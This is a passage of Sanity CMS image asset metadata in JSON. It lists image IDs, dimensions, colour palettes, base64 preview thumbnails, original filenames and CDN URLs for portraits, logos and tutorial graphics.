{"_createdAt":"2023-03-15T12:51:36Z","_id":"image-f3402b9de898099b14f2c3ee0de7a763beb7d908-800x800-jpg","_rev":"RksXZeZKLvjmDTh00dGSI6","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:36Z","assetId":"f3402b9de898099b14f2c3ee0de7a763beb7d908","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUHCAMG/8QAJRAAAQMEAQMFAQAAAAAAAAAAAQIDBAAFBhESMTJRByFBUoET/8QAFgEBAQEAAAAAAAAAAAAAAAAABAMC/8QAHBEBAAICAwEAAAAAAAAAAAAAAQACAxEEEiJx/9oADAMBAAIRAxEAPwDQ+e5CnGsakz9cnuxpP2WfYVVNjuGRRWlXm4X0rd5hS4x7QPrXL19ykuX21WOCn+riHUrWPje6jMvu5isQLapomVcFfI1wSOtGy3S2iMw46td2miob4kxGXk9HEBQ/RSo7FJLcnHoK2ztIaCf0UpA7IRNOpQ85hFwYkSZIJkRXA424O7Y8+a89epTt0yS2vS1bWyNI4jQ96UqecieOvUPss3DrnLjWgtNOkIDqtDx0pSlTo+SYuemf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6a4f39","foreground":"#fff","population":1.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#652a2f","foreground":"#fff","population":4.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9c7e69","foreground":"#fff","population":4.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfa591","foreground":"#000","population":3.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecbfa7","foreground":"#000","population":2.42,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7e69","foreground":"#fff","population":4.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc8a84","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"emma-paajanen.jpg","path":"images/sczeoy4w/production/f3402b9de898099b14f2c3ee0de7a763beb7d908-800x800.jpg","sha1hash":"f3402b9de898099b14f2c3ee0de7a763beb7d908","size":189233,"uploadId":"QWzNAvP8FKMALMR8ifGp70eH4hRllPyU","url":"https://cdn.sanity.io/images/sczeoy4w/production/f3402b9de898099b14f2c3ee0de7a763beb7d908-800x800.jpg"} {"_createdAt":"2022-06-17T08:37:33Z","_id":"image-f348a282d2a0f1d03fa0ad100467078e3b76783d-2500x3125-png","_rev":"qkpX9b3U0TpOGFQp8gRhzn","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:33Z","assetId":"f348a282d2a0f1d03fa0ad100467078e3b76783d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dDG8G?^z00M|9G}$?a9~Dg5JK6xS0eIyImIo0KR#.6%4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":3125,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e4e37","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60420d","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6b719","foreground":"#000","population":4.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6c6ac","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce45c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d57ad","foreground":"#fff","population":0.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6b719","foreground":"#000","population":4.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"JobCloud-Nicolas-Chiu.png","path":"images/sczeoy4w/production/f348a282d2a0f1d03fa0ad100467078e3b76783d-2500x3125.png","sha1hash":"f348a282d2a0f1d03fa0ad100467078e3b76783d","size":933478,"uploadId":"JnzuFzf7Z6wYyaB2X7we6AJvThwgOnNc","url":"https://cdn.sanity.io/images/sczeoy4w/production/f348a282d2a0f1d03fa0ad100467078e3b76783d-2500x3125.png"} {"_createdAt":"2022-09-19T17:34:42Z","_id":"image-f34a8ca4770ead035b5892e3bb2252c983b519c6-690x413-png","_rev":"OFlS64pMvIisdGKtV7rP3R","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:42Z","assetId":"f34a8ca4770ead035b5892e3bb2252c983b519c6","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABJ0lEQVQokZWT3ysEURTHr93YH9J8l7TmO7RWsd+J9oFSStHGi4gtKW/sC4VnSZH/XJczY2YiM1OfOXPvufd7zvd2x4FyZSn1gHKdKE752hz+zFUpCF/Uvxb7Q9dZjt1CbzNN+LEn4MAFfwlE37j5btpAkqyBAqgVUD2DoFplO5tb2sgJNkHtgroGdQZqDOoS1BaoEFRUKOZZA7Vq+XbOMqhZUCNQt6BOQV2Amli8AnVjuYnFO1CPoO4tvw6qnhX01nZAnYM6McYm+ADqFdQLqGeLb6A+QL2DegK1DWo6K1g3G0cm6m3vg4rtKA5BHZgLv+bYvkeg9uxIch0mXfat2hBUF9SM0TTaGVpGIxErCiad+o1+0VTVO1gQrH6J/xH8nSAcVPr1PgGmSlsOttDhmgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#14242a","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041526","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#041526","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0e4c8a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#87bcf2","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#0e4c8a","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#187fe6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hasura-690x413.png","path":"images/sczeoy4w/production/f34a8ca4770ead035b5892e3bb2252c983b519c6-690x413.png","sha1hash":"f34a8ca4770ead035b5892e3bb2252c983b519c6","size":22201,"uploadId":"JOw7fvYijfoSuTkjcA8VZKMxi3DwThi6","url":"https://cdn.sanity.io/images/sczeoy4w/production/f34a8ca4770ead035b5892e3bb2252c983b519c6-690x413.png"} {"_createdAt":"2023-02-01T10:48:21Z","_id":"image-f382b68f14ebbf77503f4ceb1e9591b07fb88e06-2500x1308-jpg","_rev":"pnOvEyahjeT2Gte9fhBKkF","_type":"sanity.imageAsset","_updatedAt":"2023-02-01T10:48:21Z","assetId":"f382b68f14ebbf77503f4ceb1e9591b07fb88e06","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75$Jy_4RjD%M{_4%gM{IUWCRPRPV@t7xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDBQf/xAAfEAABBAICAwAAAAAAAAAAAAADAAECBCEiBRESMXH/xAAXAQADAQAAAAAAAAAAAAAAAAABAgUG/8QAGREAAgMBAAAAAAAAAAAAAAAAAAECETFB/9oADAMBAAIRAxEAPwDlVW/xAqgmLXaRWjt3H26xb9kdqx5DDAI2w0YqJn0h8UVqIxWkNvg+EJUJqBZ//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#53283e","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":67.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":67.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacc6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5bcda","foreground":"#000","population":0.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d7392","foreground":"#fff","population":1.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b34c51","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Get_started_with_Apache_Kafka®_using_Java_social_media.jpg","path":"images/sczeoy4w/production/f382b68f14ebbf77503f4ceb1e9591b07fb88e06-2500x1308.jpg","sha1hash":"f382b68f14ebbf77503f4ceb1e9591b07fb88e06","size":248296,"uploadId":"DzHnbMT3Fz6Po72dZNohc8seMgXZCRrr","url":"https://cdn.sanity.io/images/sczeoy4w/production/f382b68f14ebbf77503f4ceb1e9591b07fb88e06-2500x1308.jpg"} {"_createdAt":"2023-12-06T17:39:08Z","_id":"image-f3b122adc01a5ae369c2f77734c12256d735d017-2880x1516-png","_rev":"qGO7x5curYKYCZh8YPoT6w","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:39:08Z","assetId":"f3b122adc01a5ae369c2f77734c12256d735d017","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5S$ovVs%2-;-;~WVsV@WYWV-pRQMxs+V[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8997361477572559,"height":1516,"width":2880},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABdUlEQVQokXWTbZObMAyE8///Zz80dw3gF8mWBE/H5pIhvR4zYrDMrtYr69Zap1ahlIpIo3XDzHEPjuPg+Yyvc33JHcdb7PvOzd2RnFk+Pln+PJAqeDfCnfAgYp8/PkGxH3jsxCV3XOJ27DuWCvnXne33B5IyroqJUrKwZUG04eaTXMxZqlK1M8RExFvBG8eB10a5L6T7A0kJqzIjpcpjzaRUGNZ4BLUZn1slF8XMpjVvhOPVLViTsCwbNWW6CNYaqp1chFwqrbUJ7urkVam1Ta9jKjz+IYxgU2UrZXo4waN6V5pUVJU+fI2gNSclRSah/aAwjFUyqZ5Hm5XdcM1o2WiqL6A2Y0mVMmz5kdCdpVTWlNHRAI/TLxG2lOaVeio0G8ddqDXT+2jMN0Lofnr4WE7ws3LRPtXkXGahkQ8XTBekpi9f/ULIqTDMkQHcMjIa8kU4wtxnvJTswR5j//uVeRHu5vRckXx289m966Sck3Gdk/9Py19sJl5aUMh19AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d3777","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13577d","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2c449","foreground":"#000","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#98b2c5","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97cee9","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c8161","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2c449","foreground":"#000","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f3b122adc01a5ae369c2f77734c12256d735d017-2880x1516.png","path":"images/sczeoy4w/production/f3b122adc01a5ae369c2f77734c12256d735d017-2880x1516.png","sha1hash":"f3b122adc01a5ae369c2f77734c12256d735d017","size":413733,"uploadId":"hjKjvLAxFfmoLx7TwKGFf0kn8uPu2kQv","url":"https://cdn.sanity.io/images/sczeoy4w/production/f3b122adc01a5ae369c2f77734c12256d735d017-2880x1516.png"} {"_createdAt":"2022-06-15T20:02:10Z","_id":"image-f3ca24a952e711f6b33cad7a2350f8f27623bff2-1567x844-jpg","_rev":"cEPH2uRN58AU2lp9QO82VF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:26Z","assetId":"f3ca24a952e711f6b33cad7a2350f8f27623bff2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZNU3N~V?GI;kDpLxCE1xas+}:E2NyxZax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBAj/xAAjEAACAgIBAgcAAAAAAAAAAAABAwIEABEFBjESEyEiMmGx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgEE/8QAHhEAAQUAAgMAAAAAAAAAAAAAAQACAwQREkFhkcH/2gAMAwEAAhEDEQA/AOhbxWhLbM2O8EfeRGR/MnPI9c2YSdCmia/PmQGSPwA+sfubJgqYgSAT66OI/EcbUf1SkORGYOzqWyMbLLI9JZqz2aks2COTiO8H1a+i7F+5w8nRc2QLpDZG99sMpFCumrXCq6oLWO0YjQwyG05x3B6CTaTGAN0nPJX/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523d2a","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04448c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#08b1ee","foreground":"#fff","population":11.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2c1bc","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9c49f","foreground":"#000","population":2.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#938264","foreground":"#fff","population":1.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08b1ee","foreground":"#fff","population":11.56,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"f3ca24a952e711f6b33cad7a2350f8f27623bff2-1567x844.jpg","path":"images/sczeoy4w/production/f3ca24a952e711f6b33cad7a2350f8f27623bff2-1567x844.jpg","sha1hash":"f3ca24a952e711f6b33cad7a2350f8f27623bff2","size":361793,"uploadId":"7kX9AhWoSXCTl97NYsnw1WEWfXlqQKPa","url":"https://cdn.sanity.io/images/sczeoy4w/production/f3ca24a952e711f6b33cad7a2350f8f27623bff2-1567x844.jpg"} {"_createdAt":"2024-02-07T15:55:14Z","_id":"image-f3e320069d4953b4f18f2fbc40ba447ebb971f88-500x500-jpg","_rev":"aqN8LslQ3cZYmtCXIrnwzO","_type":"sanity.imageAsset","_updatedAt":"2024-02-07T15:55:14Z","assetId":"f3e320069d4953b4f18f2fbc40ba447ebb971f88","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e,RCDBs:.mkCi_xtWCayj?WEXnofaKWCjExtWCj]j[RkNdoLnijuba","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHAQj/xAAhEAABBAICAwEBAAAAAAAAAAABAAIDBBESBQYhQVEHMf/EABcBAAMBAAAAAAAAAAAAAAAAAAIEBQP/xAAdEQACAgIDAQAAAAAAAAAAAAAAAQIDESEEElET/9oADAMBAAIRAxEAPwD0b2rkG0qLg54ZsD7wozq9yCpfJqzjMjhsC/OVQ/oNIS8c6YsLwBqR8UL1GjWk5KONkWhccZKTtk/okVePVF0N6NoacgH6i5G3VjWj0MInCUTfdbcsNCRjCANc/wAWYQchPHIXxFrHNOw1GPKImKYp2wyvQnJqmeH4aL1/nbtvi4pZyxzz4J1RERTiuz0YJvB//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#483c45","foreground":"#fff","population":1.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#661e1f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1a192","foreground":"#000","population":4.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b0a6","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1a192","foreground":"#000","population":4.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f7c81","foreground":"#fff","population":2.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c64041","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"john-joseph-kennedy.jpg","path":"images/sczeoy4w/production/f3e320069d4953b4f18f2fbc40ba447ebb971f88-500x500.jpg","sha1hash":"f3e320069d4953b4f18f2fbc40ba447ebb971f88","size":28494,"uploadId":"CYmLPUpV51nPVlYIFQiDSi54Hl4sHufA","url":"https://cdn.sanity.io/images/sczeoy4w/production/f3e320069d4953b4f18f2fbc40ba447ebb971f88-500x500.jpg"} {"_createdAt":"2023-09-07T14:28:38Z","_id":"image-f42dd2395234565adf0ba2a935bdf9391df2f93e-400x200-png","_rev":"7lO65z9OheRFnytB4aB28k","_type":"sanity.imageAsset","_updatedAt":"2023-09-08T12:51:12Z","altText":"Blume 2000 logo","assetId":"f42dd2395234565adf0ba2a935bdf9391df2f93e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8F~gc%M00of00_3ayxu%MIU00Rj~qt7_3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":200,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC6UlEQVQokUXSz0vbYBwG8GwHD2NeiohNjAZsm3SvyqYDFSatoiJsDCGIYpU6rbVWKZE0WFCsbUytUhPFQkGjUtwotGQIolTUzR9sB4/+GTsMJjjXur7vSA/uvTzv5ft5n/flxaampjCDwVBqMple19fX9wAA3ldXV3fiON5qNBpbCIKwEQTRRpJkJ0mS7RUVFU0EQbRSFNUNAOjRZ0wmU4PBYHg+PDyMYQghrLGx8YXX611RFOUyGo1eut3uE5ZlD7q7uz+zLHvY19eXHR0dPeU47pjneY3n+QOfz/dFkqRvkiSdOxwOiaZpi24VV0dHR6uiKCdXV1cPp6enhY2NjXwgEPjj8XjuZ2dnc+FwOL++vv43lUrl9/f37zVNyyWTyYdsNgszmczvycnJNE3Trx7Brq4uWzwe/3p9fV24uLhAqqpCRVFQKBRC8XgcbW1toUQigba3t4upqira29uDZ2dnSNO0e6/Xm7FYLP/B5ubmBkEQPu7s7PxUVbUgimJhcXERiqIIZVkuJsdx0OfzQZZlocPhgMFgEG5ubhZkWf7hdDq3GIapfQQpiiqz2+1DLpfrPBKJ3OsYz/MFfSgUCsHx8XHo8XigIAhwYGAA9vf3F+bm5vSDcmNjY9/tdvsHHMfLimAikdDNJ0ajEYyMjKjJZPI2nU6j1dVVvR2KRCJofn4exWIxtLy8jMLhMJIkCelPIstynuO4o6ampjcYhj0tgjc3NxiCEAMAWARB2NQ07VcmkynEYrGcoij5aDSaW1hYuJVl+W5lZSUviuLd0tLS7draWl5RlFu/3//JZrO91FsVwePj4+LGbDZXDQ4OBkRRPAkGgxcul+tweno6KwjC4dDQ0O7ExEQqEAhk3W53yul07s7MzBz5/f50b2/vsNlsLtcNTdMwzGq16v8QKy0tfVZZWVnHMMxbhmHeURRlo2m6DQBgq6qqqq2pqWmoq6tr15MkSQAAsFut1hYcx8v16+oNS0pKsH90UG7NKTovLAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"logo-blume2000.png","path":"images/sczeoy4w/production/f42dd2395234565adf0ba2a935bdf9391df2f93e-400x200.png","sha1hash":"f42dd2395234565adf0ba2a935bdf9391df2f93e","size":9440,"title":null,"uploadId":"cSKWqJNtBLZ8Sl19pXhSEqVSnURaygtt","url":"https://cdn.sanity.io/images/sczeoy4w/production/f42dd2395234565adf0ba2a935bdf9391df2f93e-400x200.png"} {"_createdAt":"2024-02-12T13:57:23Z","_id":"image-f4526fbbf016b985cd3834055585e58ac374a111-1200x628-png","_rev":"pSrA0vvOUlEaOistjqvcpl","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T13:57:23Z","assetId":"f4526fbbf016b985cd3834055585e58ac374a111","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDA0S61C}RAKrp]cB@+sJmxGn3OFr;XAoM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACvUlEQVQokSXRXU9TBwDG8fMNdiFtXZC2tCs9bz2nPT2nLS14oEgpdLBVQktk1SMTV5TX8iKoWMmKSJZB5ubFiBqzbCFmu9CLsc2xGGPQZGHJLpZ9nf8C+wK/PE/+gutMmaB8GcWooppTaNYcSnyeoDqLV5zFJ9XwyzcIqLcI6XdpizUIahsY2k0mE